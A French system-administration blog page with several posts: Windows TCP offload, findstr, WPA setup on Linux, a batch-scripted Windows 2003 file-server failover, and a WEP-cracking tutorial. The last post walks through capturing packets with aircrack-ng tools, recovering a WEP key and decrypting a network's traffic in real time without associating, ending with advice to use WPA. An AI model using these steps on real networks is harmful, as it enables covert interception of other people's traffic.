Sep 27 2009

TCP Offload

Publié par sous Windows




Le TCP Offload Engine (ou TOE) permet de transférer la charge liée aux opérations réseau, du processeur (software) vers la carte réseau (hardware). Il faut bien sùr posséder une carte qui le supporte telle une HP NC382T. Cette fonctionnalité est désactivée par défaut à l’installation du serveur.
 

Vérifier si TOE est activé

 
Windows 2003
L’activation ne peut être vérifiée que via la clé de registre EnableTCPChimney sous HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 
 
Windows 2008

C:\>netsh int tcp show global
Querying active state...

TCP Global Parameters
----------------------------------------------
Receive-Side Scaling State          : enabled
Chimney Offload State               : enabled
Receive Window Auto-Tuning Level    : disabled
Add-On Congestion Control Provider  : ctcp
ECN Capability                      : disabled
RFC 1323 Timestamps                 : disabled

 
La ligne qui nous intéresse est Chimney Offload State.
 

Activation/désactivation

 
Windows 2003

netsh int ip set chimney ENABLED
netsh int ip set chimney DISABLED

 
Windows 2008

netsh int tcp set global chimney=enabled
netsh int tcp set global chimney=disabled

 

Linux

Le TCP Offload n’est pas supporté sous Linux pour diverses raisons décrites sur le site de la Linux Foundation.
 

Gains

Il est constaté que 1Gb de trafic consomme environ 1Ghz de ressources CPU. Selon de nombreux tests effectués, le TCP Offload n’est intéressant que pour des interfaces Gigabit, faisant transiter beaucoup de trafic. Il est particulièrement adapté au protocole iSCSI.
Ce sont les valeurs que j’ai pu constater et c’est assez bluffant. Le CPU reste près du 0 pendant qu’un trafic important est traité. Aucun problème à signaler depuis sa mise en place.
 

Problèmes engendrés

Il est déconseillé d’activer le TOE sur des serveurs hébergeant des applications firewall, IPSEC et IPNAT. Des effets de bord sont constatés: http://support.microsoft.com/kb/948496

 

Aucune Réponse

Sep 27 2009

Findstr, une Alternative Windows Native à Grep

Publié par sous Windows

Un équivalent de la commande Unix grep est disponible en standard sous Windows, un peu moins puissant certes: findstr. Il propose aussi les recherches basées sur des patterns, toujours dans une moindre mesure.
Vous n’avez pas besoin d’installer quoi que ce soit, la commande est nativement présente sur l’ensemble des systèmes Windows.


Options de findstr

C:\>findstr /?
Recherche de chaînes de caractères dans les fichiers.

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:fichier] [/C:chaîne] [/G:fichier] [/D:liste de répertoires]
[/A:attributs de couleur] [chaînes]
[[lecteur:][chemin]nom de fichier[ ...]]

/B Recherche l’élément s’il est en début de ligne.
/E Recherche l’élément s’il est en fin de ligne.
/L Recherche les chaînes littéralement.
/R Recherche les chaînes en tant qu’expressions.
/S Recherche les fichiers correspondants dans le répertoire actif
et dans tous ses sous-répertoires.
/I Spécifie que la recherche ne doit pas tenir compte de la casse.
/X Affiche les lignes correspondant parfaitement.
/V N’affiche que les lignes non correspondantes.
/N Affiche le numéro de ligne devant chaque ligne correspondante.
/M Affiche uniquement le nom des fichiers contenant des chaînes
correspondantes.
/O Affiche le décalage des caractères pour chaque ligne
correspondante.
/P Ignore les fichiers ne contenant pas de caractères affichables.
/OFFLINE Ne pas ignorer les fichiers dont l’attribut hors connexion a été
réglé.
/A:attr Spécifie l’attribut de couleur avec 2 chiffres hexadécimaux.
Entrez « color /? ».
/F:fichier Lit la liste des fichiers dans le fichier spécifié (/ pour la
console).
/C:chaîne Recherche la chaîne spécifiée littéralement.
/G:fichier Obtient les chaînes à rechercher à partir du fichier spécifié
(/ pour la console).
/D:rép Recherche dans une liste de répertoires délimitée par des
points-virgules.
chaînes Chaînes à rechercher.
[lecteur:][chemin]nom de fichier
Spécifie les fichiers dans lesquels effectuer la recherche.

Utilisez des espaces pour séparer plusieurs chaînes à rechercher, sauf si l’argument est précédé de /C.
Exemple : ‘FINDSTR « bonne journée » x.y’ recherche « bonne » ou « journée » dans le fichier x.y. ‘FINDSTR /C: »bonne journée » x.y’ recherche « bonne journée » dans le fichier x.y.

Petit guide des options usuelles :
. Caractère joker = tout caractère
* Répétition : zéro occurrences ou plus du caractère ou de la classe
précédents
^ Emplacement : début de ligne
$ Emplacement : fin de ligne
[classe] Classe de caractères : tout caractère du jeu
[^class] Classe inverse : tout caractère n’appartenant pas au jeu
[x-y] Limites : tout caractère dans les limites spécifiées
\x Échappement : utilisation littérale du métacaractère x
\<xyz Emplacement : début du mot
xyz\> Emplacement : fin du mot

Pour obtenir des informations complètes sur les options usuelles FINDSTR, reportez-vous à la Référence des commandes en ligne.


Exemple d’utilisation de la Commande

Passez le résultat de la commande précédente à findstr par le pipe, comme vous le feriez pour la commande grep sous Linux:

C:\>netstat -an | findstr 0.0.0.0
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:11756          0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1049         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1080         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:5152         0.0.0.0:0              LISTENING
  TCP    192.168.15.111:139     0.0.0.0:0              LISTENING
  UDP    0.0.0.0:443            *:*
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:11756          *:*
 

Aucune Réponse

Sep 04 2009

Configurer WPA sur Linux Howto

Publié par sous Linux,Sécurité




L’encryption WPA n’est pas très compliqué à mettre en oeuvre et a l’avantage d’être beaucoup plus sécurisé que le WEP en utilisqnt une clé forte.
 
Pour nous lancer, nous disposons d’une interface wifi que l’on peut afficher avec iwconfig (fourni dans les wireless tools):

[root@db ~]# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
          Bit Rate:0 kb/s   Tx-Power:13 dBm   Sensitivity=1/1
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/70  Signal level=-95 dBm  Noise level=-95 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

 
Si l’interface n’est pas visible, installer d’abord les drivers, ou vérifier les logs pour s’assurer que la carte a bien été détectée.
 

Fichier de configuration de wpa_supplicant

Installer le package wpa_supplicant. C’est la seule chose dont vous avez besoin et c’est fourni dans la plupart des distributions Linux.
Si ce n’est pas le cas, vous pouvez télécharger la dernière version du code source depuis http://hostap.epitest.fi/wpa_supplicant/ et le compiler.
 
Une fois installé, générer le passphrase

WPA_Linux# wpa_passphrase myssid mypassphrase
network={
        ssid="myssid"
        #psk="mypassphrase"
        psk=c22c1e6febc7875af85d033bbf15f5ca836633bac8eb16693fd58bff66fcb66c
}

 
Editer /etc/wpa_supplicant/wpa_supplicant.conf (Redhat/Fedora) ou le créer (Debian/Ubuntu) en ajoutant ces paramètres.
La ligne commentée #psk… peut être supprimée dès que ca fonctionne pour plus de sécurité.
 

Association avec la borne wifi

Se connecter manuellement pour s’assurer que tout va bien:
 

WPA_linux# wpa_supplicant -iath0 -c /etc/wpa_supplicant/wpa_supplicant.conf
Associated with 00:00:00:00:00:00
CTRL-EVENT-DISCONNECTED - Disconnect event - remove keys
CTRL-EVENT-SCAN-RESULTS
Trying to associate with 00:a0:c5:ff:84:72 (SSID='myssid' freq=2412 MHz)
Associated with 00:a0:c5:ff:84:72

 
A noter qu’il faut spécifier le driver avec l’option -D dans certain cas.
 

Configurer les fichiers de démarrage

Sur Redhat/Fedora, configurer /etc/sysconfig/network-scripts/ifcfg-ath0 (remplacer ath0 avec le nom d’interface adéquate bien sûr) comme pour toute interface classique ainsi que /etc/sysconfig/wpa_supplicant en l’adaptant avec ses paramètres

INTERFACES="-iath0"
DRIVERS="-Dmadwifi"

 
Puis redémarrer le service:

/etc/init.d/wpa_supplicant restart

 
Sur Debian/Ubuntu, éditer /etc/network/interfaces

auto ath0
        iface ath0 inet dhcp
        pre-up wpa_supplicant -iath0 -c/etc/wpa_supplicant/wpa_supplicant.conf -B
        post-down killall wpa_supplicant

 
Et réactiver l’interface wifi ou rebooter

ifdown ath0
ifup ath0

 

 

Aucune Réponse

Août 19 2009

Cluster de serveurs de fichiers sur Windows 2003 Server Standard Edition

Publié par sous Windows

Ceux qui se sont penchés sur la question savent déjà qu’il n’est pas possible de réaliser un cluster sur Windows 2003 server Standard Edition.
Or, vous possédez un espace de stockage partagé mais ne pouvez pas (ou voulez pas) vous permettre de vous offrir 2 licences Enterprise juste pour un serveur de fichiers.
Il y a bien DFS mais c’est dommage de redonder les données sur un support de stockage déjà sécurisé.
Je propose ici de créer une bascule de quelques secondes semi-automatique à défaut de cluster (qui n’est en fait qu’en mode failover également). Un fichier ouvert avant bascule peut être enregistré après sans que le client ne s’en apercoive.
 
Windows File Server Failover
 
Pour éviter aux stations clientes de modifier leurs montages, scripts, etc…, nous n’utilisons ni l’adresse IP du serveur ni son nom mais un alias DNS (CNAME) pointant sur le serveur principal par défaut. Pour basculer, il suffit de pointer cet alias vers le secondaire.
Concrètement, le client XP (ou autre) fait une requête DNS pour résoudre \\fichiers, et l’entrée DNS du serveur actif est retournée. Le client se connecte alors au serveur adéquate.
 

Nom de partage

Les serveurs n’acceptent pas un nom de partage différent de leur nom d’hôte. En accédant au partage \\fichiers, une erreur est retournée.
Pour contourner ce problème, il faut forcer le serveur à accepter un nom différent en créant la clé DWORD DisableStrictNameChecking dans [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters], initialisé à la valeur 1 (Décimale).
Plus d’infos à ce sujet sur http://support.microsoft.com/kb/281308
Vous devrez aussi ajouter la valeur DWORD DisableLoopbackCheck dans [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] pour pouvoir atteindre \\fichiers depuis le serveur vers lequel l’alias pointe. Une erreur d’accès refusé est générée si ce n’est pas le cas. Voir KB926642 pour plus d’informations.
 

Cache DNS

Chaque machine XP possède un cache DNS qui enregistre les entrées pour une durée de 24 heures. Cela pose problème puisque la bascule sera effective jusqu’à une journée plus tard pour les clients.
Chaque entrée DNS possède un time to live (TTL) par défaut qui représente le délai d’expiration dans le cache DNS. Celle-ci peut être changée si l’on crée l’entrée en ligne de commande:
dnscmd /RecordAdd mondomaine.com fichiers 60 CNAME serveur1.mondomaine.com
C’est le 60 qui est important ici: l’entrée expirera du cache DNS au bout de 60 secondes, durée après laquelle le client fera une nouvelle requête DNS.
De cette façon, le cache global n’est pas affecté, puisqu’il joue son rôle pour les autres requêtes DNS, limitant le trafic sur le réseau, et l’entrée fichier se met à jour très rapidement en cas de failover.
 

Configuration SAN

Important: Les lecteurs doivent être visibles depuis le serveur live uniquement! S’il existe un LUN vers le serveur de standby, Windows pourrait corrompre le système de fichiers même si le disque n’a pas de lettre de lecteur affecté.
Puisque le volume n’est visible que depuis le serveur live, une étape manuelle est nécessaire pour supprimer les LUN et les recréer vers le serveur en standby. J’ai automatisé ce processus avec un script Perl qui fait un telnet vers le SAN et efface/recrée les LUNs (La plupart des SANs supportent l’accès en telnet).
 

Copie des informations de partage

Les données de partage sont stockées dans la base de registre Windows sous [HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares], et non sur le système de fichiers. On perd donc tous les partages existants après le failover.
Pour récupérer les partages après bascule, il faut copier en amont les partages déclarés sur le serveur primaire et les importer sur le secondaire. Seuls les partages des lecteurs qui vont migrer doivent être copiés. Les partages du lecteur C:\ par exemple, ne doivent pas être pris en compte.
Avant migration, il faut toutefois s’assurer que les lettres de lecteurs sont disponibles sur le serveur de destination. Par mesure de sécurité, nous prenons les lettres de lecteur X: et Y: pour éviter qu’elles ne soient prises par un disque amovible. Il est possible de désactiver l’automontage avec la commande mountvol.
 
Ce script DOS (à mettre sur le serveur primaire) copie les informations de partages du serveur principal vers le secondaire. Fervent Linuxien, je me suis vite rendu compte que DOS était très très limité, allongeant le code pour traiter les partages contenant des espaces.
 

SETLOCAL ENABLEDELAYEDEXPANSION

rem Variables a editer
rem Ne pas oublier le fichier RemoveDrives.txt
set DOMAIN=mondomaine.com
set DSTSRV=serveur2
set DNSSRV=monserveurdns
rem alias des serveurs de fichiers
set CNAME=fichiers
rem Volumes sur disques partages a migrer
set DRIVES=X,Y

set KEYPATH=HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares
set SHARESRC=%KEYPATH%
set SHAREDST=\\%DSTSRV%\%KEYPATH%
set SECURITYSRC=%KEYPATH%\Security
set SECURITYDST=\\%DSTSRV%\%KEYPATH%\Security


rem Verifie que les lecteurs sont disponibles sur la cible
for /D %%D in (%DRIVES%) DO (
  reg query \\%DSTSRV%\HKLM\SYSTEM\MountedDevices /v \DosDevices\%%D:  2>NUL 1>NUL
  if not !ERRORLEVEL!==1 (
    echo %%D non disponible sur la cible
    echo ARRET DE LA BASCULE
    goto end
  )
)


rem Suppression des anciens noms de partages sur la destination
for /D %%D in (%DRIVES%) DO (

  rem Parcourt des partages
  for /F "tokens=1 delims=" %%K in ('reg query %SHAREDST%^|findstr %%D:') do (

    rem reg query produit des sorties sur 3 champs: Valeur - Type - Donnee
    rem On remplace le type par # car 1 seul caractère ne peut servir de delimiteur
    rem Necessaire pour les noms de partages contenant des espaces!
    set SHAREKEY=%%K
    set SHAREKEY=!SHAREKEY:REG_MULTI_SZ=#!

    rem On recupere la valeur (nom du partage) et la donnee (chemin)
    for /F "tokens=1,2 delims=#" %%S in ("!SHAREKEY!") do (

      rem Supprime les espaces en debut et fin de chaine
      rem Et ajoute les guillemets pour les noms contenant des espaces
      set SHARE=%%S
      set SHARE="!SHARE:~4,-4!"

      rem Suppression des partages et de leur securite
      reg delete %SHAREDST% /v !SHARE! /f
      reg delete %SECURITYDST% /v !SHARE! /f
    )
  )
)


rem Copie des partages dans la base de registre du serveur secondaire
rem Parcourt les lecteurs
for /D %%D in (%DRIVES%) DO (

  rem Parcourt des partages
  for /F "tokens=1 delims=" %%K in ('reg query %SHARESRC%^|findstr %%D:') do (

    rem reg query produit des sorties sur 3 champs: Valeur - Type - Donnee
    rem On remplace le type par # car 1 seul caractère ne peut servir de delimiteur
    rem Necessaire pour les noms de partages contenant des espaces!
    set SHAREKEY=%%K
    set SHAREKEY=!SHAREKEY:REG_MULTI_SZ=#!

    rem On recupere la valeur (nom du partage) et la donnee (chemin)
    for /F "tokens=1,2 delims=#" %%S in ("!SHAREKEY!") do (

      rem Supprime les espaces en debut et fin de chaine
      rem Et ajoute les guillemets pour les noms contenant des espaces
      set SHARE=%%S
      set SHARE="!SHARE:~4,-4!"
      set DATA=%%T
      set DATA="!DATA:~4!"

      rem Restauration des partages et de leur securite
      reg add %SHAREDST% /v !SHARE! /t REG_MULTI_SZ /d !DATA! /f

      rem Meme methode que ci-dessus
      for /F "tokens=1 delims=" %%L in ('reg query %SECURITYSRC% /v !SHARE! ') do (
        set SECURITYKEY=%%L
        set SECURITYKEY=!SECURITYKEY:REG_BINARY    =#!
        for /F "tokens=2 delims=#" %%S in ("!SECURITYKEY!") do (
          REG ADD %SECURITYDST% /v !SHARE! /t REG_BINARY /d %%S /f
        )

      )
    )
  )
)

 
Deux cas peuvent se présenter lors d’un failover:
– Soit on fait une maintenance et serveur1 est toujours en ligne
– Soit serveur1 a subi un crash et n’est plus disponible
Dans ce second cas, il ne sera plus possible de copier les informations de partage. C’est pourquoi il peut être judicieux d’exécuter cette partie du script tous les jours pour que serveur2 soit à jour autant que possible.
 

Déconnexion des lecteurs

C’est maintenant que la bascule devient effective. Pensez à vérifier que les lecteurs ont été supprimés. Il ne faut surtout pas que la partition soit montée sur les 2 serveurs en même temps! Peu d’actions sont requises maintenant:
– Stopper les applications accédant au volume
– Supprimer la lettre du lecteur (pas le volume :-))
– Modifier le DNS
– Redémarrer les applications
Il est important de ne mettre que les données du serveur de fichiers, et non applicatives. Dans le cas contraire, il faut inclure l’arrêt de ces applications dans la démarche.
Par défaut, il ne faut arrêter que le service ‘serveur de fichiers’ et ses dépendances qui sont ‘Net Logon’, ‘Computer browser’ et ‘DFS’. Vérifier si d’autres services dépendants n’ont pas été ajoutés par la suite (exemple: Backup exec dans mon cas).
 
Tout ceci peut se faire par script DOS également:

rem Arret des services pour supprimer la lettre du lecteur
net session /delete /y
net stop "Server" /y

rem Suppression des lettres de lecteur
set diskfile=disk.txt
copy NUL %diskfile%
for /D %%D in (%DRIVES%) DO (
  echo select volume %%D: >> %diskfile%
  echo remove >> %diskfile%
)
diskpart /s %diskfile%

rem Changement du DNS
dnscmd %DNSSRV% /recorddelete %DOMAIN% %CNAME% CNAME /f
dnscmd %DNSSRV% /RecordAdd %DOMAIN% %CNAME% 60 CNAME %DSTSRV%.%DOMAIN%

rem Redemarrage des services
rem Le service "Server" sera demarre en meme temps
rem que les autres puisqu'ils en dependent
net start "Net Logon"
net start "Computer Browser"
net start "Distributed File System"


Réactivation sur la cible

Avant de réactiver la cible, il faut basculer les LUNs manuellement ou à l’aide du script mentionné plus haut.
Ne reste plus qu’à remonter le service sur la cible. Pour cela, il suffit d’aller dans le gestionnaire de disques, réaffecter les lettres de lecteurs et redémarrer le service ‘Server’ et ses dépendances. Cette partie peut aussi être automatisée. La commande mountvol permet de remonter les lecteurs en identifiant les volumes par leur ID.
Veiller à exécuter un checkdisk pour rejouer le journal NTFS puisqu’il ne semble pas possible de flusher le cache. Pour mon installation:

mountvol X: \\?\Volume{3e0cfc97-a6c5-11de-84f1-00237de94c0e}\
chkdsk /F /X X:

rem Redemarrage du service de partage
net stop "Server" /y
net start "Net Logon"
net start "Computer Browser"
net start "Distributed File System"

 
Les disques risquent de ne pas être détectés immédiatement par Windows. Microsoft fournissent l’utilitaire devcon permettant de rafraîchir la configuration matérielle. Il suffit donc de lancer la commande

devcon rescan

juste avant d’assigner une lettre de lecteur avec mountvol.
 

Retour arrière

Même procédure mais sans copier les partages du registre puisqu’ils y sont déjà bien sûr.
 

Cache Netbios

Lorsque l’utilisateur accède à un partage, le nom Netbios du serveur et l’adresse IP associée sont ajoutées dans la table Netbios qui joue le rôle de cache. Par défaut, les entrées sont stockées 10 minutes.
Le contenu de la table de noms est visible avec la commande nbtstat:
 

C:\>nbtstat -c

Connexion au réseau local:
Adresse IP du noeud : [192.168.0.10] ID d'étendue : []

                  Table de nom de cache distant NetBIOS

        Nom               Type        Adresse d'hôte   Vie [sec]
    ------------------------------------------------------------
    SERVER1        <20>  UNIQUE          192.168.0.200       50
    SERVER2        <20>  UNIQUE          192.168.0.201       40

 
Si un utilisateur accède au partage \\fichiers juste avant la bascule, il devra attendre un délai allant jusqu’à 10mn. 2 solutions s’offrent à nous:
– Désactiver ce cache en ajoutant la valeur DWORD EnableProxy sous la clé de registre [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netbt\Parameters], initialisée à 0.
– Diminuer le timeout sur le cache de 600 à 60 secondes. C’est ce que nous faisons, le timeout correspond ainsi au TTL de l’entrée DNS. Editer la valeur CacheTimeout sous [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netbt\Parameters]
Remplacer:
927c0 (600000 en décimal) par
ea60 (60000 en décimal)
Cette clé peut être modifiée sur tous les postes via les GPO.
 

Cache d’écriture disque

En ayant affaire à un cluster se connectant un stockage partagé, il est préférable de désactiver le cache d’écriture sur disque pour retrouver toutes les données sur le serveur en standby au cas où le primaire subit un crash ou bascule.
Dans le gestionnaire de périphériques, décocher Activer le cache d’écriture sur le disque dans les propriétés du disque (labellisé Multi-path Disk Device sur mon serveur).
 
Voilà, nous avons de la redondance sur du Windows 2003 server standard edition pour un failover qui prend moins d’une minute, sans débourser un sous de plus.
Voici les scripts pour désactiver le serveur principal et activer le serveur secondaire. A renommer avec une extension .bat bien entendu. Les scripts pour la bascule arrière sont quasiment identiques. Ils incluent une vérification pour ne pas monter les lecteurs en même temps des 2 côtés.
 
Notes:
Ne pas créer de nouveaux partages quand on est sur le serveur de backup puisque le script réplique de serveur 1 vers serveur 2, dans ce sens uniquement.

 

Aucune Réponse

Août 08 2009

Comment Cracker une clé WEP et décrypter le trafic en temps réel

Publié par sous Linux,Sécurité

Cracker une clé WEP est extrêmement facile et ne prend que quelques secondes. Vrai? Presque… et nous allons voir comment décrypter le trafic en temps réel sans mˆme nous connecter au point d’accès wifi.
 
Toutes les manipulations se feront sous le super-utilisateur root puisqu’il faut changer l’état des interfaces.
 

Installation de Aircrack-ng

Télécharger et installer aircrack-ng. Il est disponible dans la plupart des distributions Linux sous forme de paquet.
Sur Debian, exécuter

apt-get install aircrack-ng

 
Aircrack inclut tous les outils nécessaires pour capturer les paquets, cracker la clé WEP, et décrypter le trafic en transit.
 
Nous réalisons les tests avec une carte PCMCIA wifi de chez Linksys. Un simple ifconfig permet d’afficher la carte qui est donc bien détectée.

root@crack_WEP:~$ ifconfig
lo        Interface doesn't support scanning.

wlan0     Link encap:Ethernet  HWaddr 00:1a:70:6b:37:4e
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:22 errors:0 dropped:0 overruns:0 frame:0
          TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3742 (3.7 KB)  TX bytes:10773 (10.7 KB)


Capture des paquets

Il faut tout d’abord passer l’interface en mode moniteur.

root@crack_WEP:~$ airmon-ng
Interface       Chipset         Driver
wlan0           Broadcom 43xx   b43 - [phy0]

 
Airmon détecte bien l’interface wifi.

root@crack_WEP:~$ airmon-ng stop wlan0
Interface       Chipset         Driver
wlan0           Broadcom 43xx   b43 - [phy0]
                                (monitor mode disabled)

root@crack_WEP:~$ airmon-ng start wlan0
Interface       Chipset         Driver
wlan0           Broadcom 43xx   b43 - [phy0]
                                (monitor mode enabled on mon0)

 
En exécutant iwconfig, on constate que l’interface mon0 a été créée en plus de l’interface originale wlan0:

root@crack_WEP:~$ iwconfig
wlan0     IEEE 802.11bg  ESSID:""
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
          Tx-Power=27 dBm
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=27 dBm
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

 
Scannons les réseaux à proximité

root@crack_WEP:~$ airodump-ng mon0
 CH 10 ][ Elapsed: 4 s ][ 2009-08-08 18:01
 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:A0:C5:FF:84:72  197        4        0    0   1  11  WEP  WEP         private
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes

 
Nous avons un point wifi émettant sur le channel 1 avec encryption WEP et dont l’adresse mac est 00:A0:C5:FF:84:72.
La cible définie, il suffit de capturer les paquets transitant dans les airs.

root@crack_WEP:~$ airodump-ng --channel 1 --bssid 00:A0:C5:FF:84:72 --write temp wlan0

 CH  1 ][ Elapsed: 31 mins ][ 2009-05-02 21:52
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:A0:C5:FF:84:72  205  10     6058    24496    0   1  54  WEP  WEP         private
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes
 00:A0:C5:FF:84:72  00:18:4D:76:30:EB  188  54-54     0    24795

 
Les paquets seront capturés dans des fichiers .cap ayant pour suffixe temp.
Les techniques de cassage devenant de plus en plus efficaces, il ne faut plus que 40000 paquets pour avoir de bonnes chances de casser la clé avec les algorithmes les plus récents. La capture est plus ou moins longue selon la quantité de trafic passant sur le lien.
 

Cracker la clé WEP

Ne reste plus qu’à cracker la clé WEP:

root@crack_WEP:~$ aircrack-ng -z -b 00:A0:C5:FF:84:72 temp.cap-0*.cap

                                         Aircrack-ng 1.0 rc1

                         [00:00:22] Tested 240228 keys (got 41742 IVs)

   KB    depth   byte(vote)
    0    0/  1   B9(58880) A0(50688) 12(50176) F5(49920) 9E(48896) CD(48640)
    1    0/  1   19(54784) E8(52480) FA(52480) 4B(51456) 79(51456) DD(49664)
    2    0/  1   31(59648) EA(53504) 40(50688) 0A(50432) 88(50432) 0E(50176)
    3    0/  1   8C(60416) 05(49152) 56(49152) 23(48640) 52(48384) 03(48128)
    4    0/  1   B2(59136) AE(49664) 78(49152) FE(49152) 8B(48384) 9C(47616)
    5    0/  1   61(53504) E6(50688) FF(50176) 13(49664) 23(49408) C7(49408)
    6    0/  1   DD(56320) C4(51968) 90(50688) 0C(50176) CF(49920) CE(49152)
    7    0/  1   4E(53248) E6(51968) 7D(49152) 0B(48896) 90(48896) 06(48640)
    8    0/  1   FB(52224) C1(49664) E9(48128) 3D(47616) F0(47360) EB(47104)
    9    0/  1   0B(54784) BC(51712) 52(50432) 54(49920) F5(49920) CA(48896)
   10    0/  1   E6(50944) 1C(49920) 5F(49408) 1F(49152) 0A(48896) 83(48896)
   11    2/  1   FF(49664) 17(48384) 94(48128) 27(47872) 23(47616) B2(47616)
   12    0/  4   91(50452) A4(50360) 77(50156) 78(49540) FF(49476) 70(48788)

             KEY FOUND! [ B9:19:31:8C:B2:61:DD:4E:FB:0B:AA:62:99 ]
        Decrypted correctly: 100%

 
Eh oui, vous ne rêvez pas, la clé a été cassée en 22 secondes!
 

Décrypter le trafic

Il est possible d’écouter le trafic en le capturant dans des fichiers .cap comme ci-dessus puis en le décryptant dans un second fichier avant de le passer en argument à tcpdump par exemple:

root@crack_WEP:~$ airdecap-ng -w b919318cb261dd4efb0baa6299 temp-01.cap
Total number of packets read         22072
Total number of WEP data packets      6245
Total number of WPA data packets         0
Number of plaintext data packets         3
Number of decrypted WEP  packets      6245
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0

root@crack_WEP:~$ tcpdump -r temp-01-dec.cap -i wlan

 
Mais il est aussi possible de décrypter le trafic en temps réel et de le renvoyer vers une interface virtuelle at0 sur laquelle on peut écouter le plus normalement du monde avec tcpdump. La commande airtun-ng fournie avec le package Aircrack permet de réaliser cette tâche.

root@crack_WEP:~$ airtun-ng -a 00:A0:C5:FF:84:72 -w b919318cb261dd4efb0baa6299 mon0
created tap interface at0
WEP encryption specified. Sending and receiving frames through mon0.
FromDS bit set in all frames.

 
Depuis un autre shell:

crack_WEP:~$ tcpdump -i at0


Conclusion

Il est très facile de casser une clé WEP et d’écouter le trafic qui y passe sans même se connecter au point d’accès, et donc sans se faire remarquer. Veillez à n’utiliser que des clés WPA au minimum avec des passwords qui ne sont pas basés sur des mots du dictionnaire.

 

Aucune Réponse

« Précédent - Suivant »